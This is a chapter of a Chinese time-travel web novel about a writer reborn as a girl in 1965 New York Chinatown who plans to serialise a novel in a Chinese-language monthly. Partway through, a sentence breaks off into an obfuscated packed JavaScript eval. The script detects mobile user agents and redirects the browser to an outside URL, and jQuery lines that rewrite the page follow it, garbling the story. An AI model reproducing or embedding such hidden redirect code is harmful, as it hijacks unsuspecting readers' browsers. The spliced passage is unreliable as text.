穿越前,杨乐怡是个网络写手。
这么说有点谦虚,因为出版社在介绍她时,更倾向于说她是网络人气作家。她的粉丝在吹捧她时,也更愿意称呼她大神。
但在她本人心里,她只是一个宅到可以几个月不出门的网络写手。
她运气不错,可能也有点才华,写作十年,出版了八本书,常有作品出现在各种盘点中,算是网络写手中混得不错的,但离大爆出圈始终差了口气。
对于现状,杨乐怡算不上焦虑,她在事业上没有太大野心,有一间屋子,一台电脑,可以写出喜欢的故事。
这样的生活已经很好。
她以为自己会这样过一辈子,谁知道那天一觉醒来,就从2026年家住沪市的杨怡,变成了1965年家在唐人街的杨乐怡。
好消息,她年轻了十几岁,变成了一名初中生。
坏消息,她开局就是父亲去世,家庭即将跌入斩杀线。
好吧,跌入斩杀线有点夸张。
虽然在美国,失去住房,收入无法覆盖支出,是跌入斩杀线的前兆。但那针对的是白人,在唐人街,有另一套运行法则。
何况她身处的是1965年的唐人街。
《移民与国籍法》要到今年十月才会被通过,之后会迎来移民潮。但在过去的几十年里,因为名额稀少,唐人街人口变化不大。
而唐人街的现有人口,以台山人为主,然后才是粤省其他地方的人。
换句话说,这个时期唐人街住着的人,大半是老乡。
除了是老乡,他们还一起经历过华人被排挤的困难时期,所以这时期的华人相对团结。人与人之间可能存在小矛盾,但真到困难的时候,愿意搭把手的人也多。
像房东兰姐,她虽然想让杨家母女三人搬出去,可最后关头还是松了口,允许她们住到月底,并答应免掉租金。
何况实在不行,她们还可以去住隔断。
等杨乐怡再大一点,可以进工厂打工,到那时,她们的经济条件会宽裕很多,也许又能搬回现在住着的公寓。
但进厂绝不是杨乐怡想要的未来,同时她也知道,不想办法开源,很长一段时间里,她们这个家都毫无抗风险能力。
一旦有人生病,她们家就会再次陷入困顿。
到那时,能不能熬过去是个问题。
如果没有一技之长,或者擅长的事需要成本,杨乐怡可能到现在还在头疼前路该怎么走。但写小说有个笔记本,一支笔就够了,对还是学生的她来说,约等于无成本。
所以在了解清楚穿越后面临的困境后,杨乐怡很快作出决定——她要继续前世的事业,写小说。
但写什么,写出来的故事能不能变现,是个问题。
好在杨乐怡刚穿来那会学期还没有结束,不懂的她可以直接问老师。同时她又翻阅了不少报纸杂志,对比了各家的录用门槛以及稿费情况。
论稿费,首选肯定是英文报纸杂志。
比如《星期六晚邮报》,一个两千到五千词的短篇,录用后就算是新人,也能拿到最低一千美元的稿费。
还有《纽约客》,新人写的短篇也能拿到六百美元左右。
华文报纸稿费就没那么高了,短篇通常只能拿到几十美元的稿费,长篇则按千字算,新人可能低至千字两美元,有名气的作者,千字也难有两位数。
但发行量大的报纸,稿费通常不错,相应投稿的人也多,编辑部一天能收几百甚至上千封投稿信,没有人脉的作者,连审稿的机会都很难得到。
何况杨乐怡前世非英语专业,虽然考了四级,但毕业多年,早忘得差不多了。
穿越后虽然有原身记忆,唐人街对应的中小学也是英文教学,但师资力量薄弱,原身成绩不差,可要说英文水平到了能中稿的程度……
杨乐怡脸皮再厚也点不下这个头。
更不要说这年代还有种族歧视这种现实问题,且她还是个未成年,新人加华人加未成年,三重身份让她的投稿之路变成了地狱难度。
比较起来,投中华文报纸杂志的概率就要高得多。
很现实的问题,英文报纸稿费多,虽然有种族歧视存在,但总有些报纸对华人相对友好。
比如《纽约客》、《大西洋月刊》,这些杂志都接受华人投稿,也刊登过华人写的非猎奇题材作品。
而且就算投不中白人办的报纸,他们也能投华人社区的英文刊物,这些报纸多由大型华人团体创办,资金相对充裕,给的稿费也过得去。
这么一层层筛选,愿意往华文报刊投稿的人就少了很多,相应的竞争也没那么激烈。
所以华文报刊不仅对新人友好,还不限制未成年投稿。
最终,杨乐怡在比较了一堆华文报刊的收稿范围以及稿费后,精心挑选出了华侨文化社创办的月刊《华侨文阵》。
说是精心挑选,实际上是杨乐怡没得选。
这时候愿意连载小说的华文报刊分两类,一是各种华文日报的副刊,基本每天都会有两三个版面连载小说,题材还非常丰富,有武侠,有言情。
但日报副刊连载的小说,大多是从香江、湾岛转载过来的名家作品,很少有本地作者投搞的作品刊载。
这样可能是因为本地少有写得好的通俗小说,但不管如何,都能说明过稿不容易。
再就是各类独立运营的文艺刊,这类杂志过稿容易,但以散文、诗歌为主,短篇小说都收得很少,收长篇小说的更是一个巴掌都能数得过来。
而比起短篇,杨乐怡更擅长写长篇,三十万字起步,一百万字不嫌多的那种。毕竟在她穿越前,十来万字的小说都算短篇。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349234|199574||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>短篇也能写,但总归没那么顺手,让她难有信心。
选择《华侨文阵》,主要是因为它在收长篇的文艺刊中,名气算是比较大的,信誉也好,从不拖欠稿费。
杨乐怡准备投稿这件事没有瞒着家里人,毕竟瞒了也瞒不住。
唐人街很小,里面生活的人关系又很紧密,什么消息都传得飞快。杨乐怡并不怀疑她前一天去华侨文化社投稿,后一天这事就能传进陈阿莲耳朵。
何况这个故事,本来就是以陈阿莲夫妻为原型写的。
创作之初,杨乐怡问了陈阿莲很多过去的事,只是她可能以为女儿是一时兴起,故事写不成,没太在意。
直到这会杨乐怡说准备去投稿,才有些紧张地问:“是你之前说要写的那个故事?”
“嗯。”杨乐怡点头。
“我能看看吗?”
陈阿莲问完,不等杨乐怡回答便摇头说,“算了,我不识字,看了也不懂。”
杨乐怡说:“你想知道具体故事,等晚上你下班,我读给你听。”
陈阿莲有点心动,又有些迟疑:“如果你的稿子被录用了,会不会有很多人知道那是我和你爸爸?”
“可能不会有很多人知道,”杨乐怡想了想说,“我听人说《华侨文阵》的发行量在三千左右,主要在纽约、洛杉矶和旧金山的华人社区销售,在我们唐人街,一期能卖出一千份就很多了。”
这个时期,纽约有三万多华人,但唐人街内部华人只有两万多,另有几千人聚居在布鲁克林、皇后区等地方。
唐人街的两万多华人,不可能都认识陈阿莲夫妻,而认识她的人,不可能都是《华侨文阵》的忠实读者。
所以杨乐怡认为,能联想到陈阿莲身上的人不会太多。
何况杨乐怡写的这个故事,虽然是以陈阿莲夫妻为原型,但写的又不仅是他们两个人,融合了很多早期来美的华人影子。
陈阿莲听后放心下来,但又有些怅然若失。
她不是那种张扬的人,可也正因为这一生太过平凡,她才难以抵抗成为一部小说主角原型的诱惑。
……
吃过早饭,陈阿莲出门上班。
杨乐怡姐妹比她晚半小时出门,将杨宝怡送到位于勿街的华文学校。
勿街是唐人街核心中的核心地带,各类公所、会馆、同乡会,还有报社、印刷所都集中在这条街上。
像和华文学校同一栋楼的中华公所,就是纽约最大的华人侨团。
将妹妹送到教室,杨乐怡便下楼往华侨文化社去。
*《华侨文阵》其实是四十年代发行的刊物,四六年就已经停刊。
到六十年代,这类文艺类刊物的稿费也没这么高,短篇只能拿到几美元,长篇基本不收,这部分内容是基于剧情进行的虚构,请勿联系现实。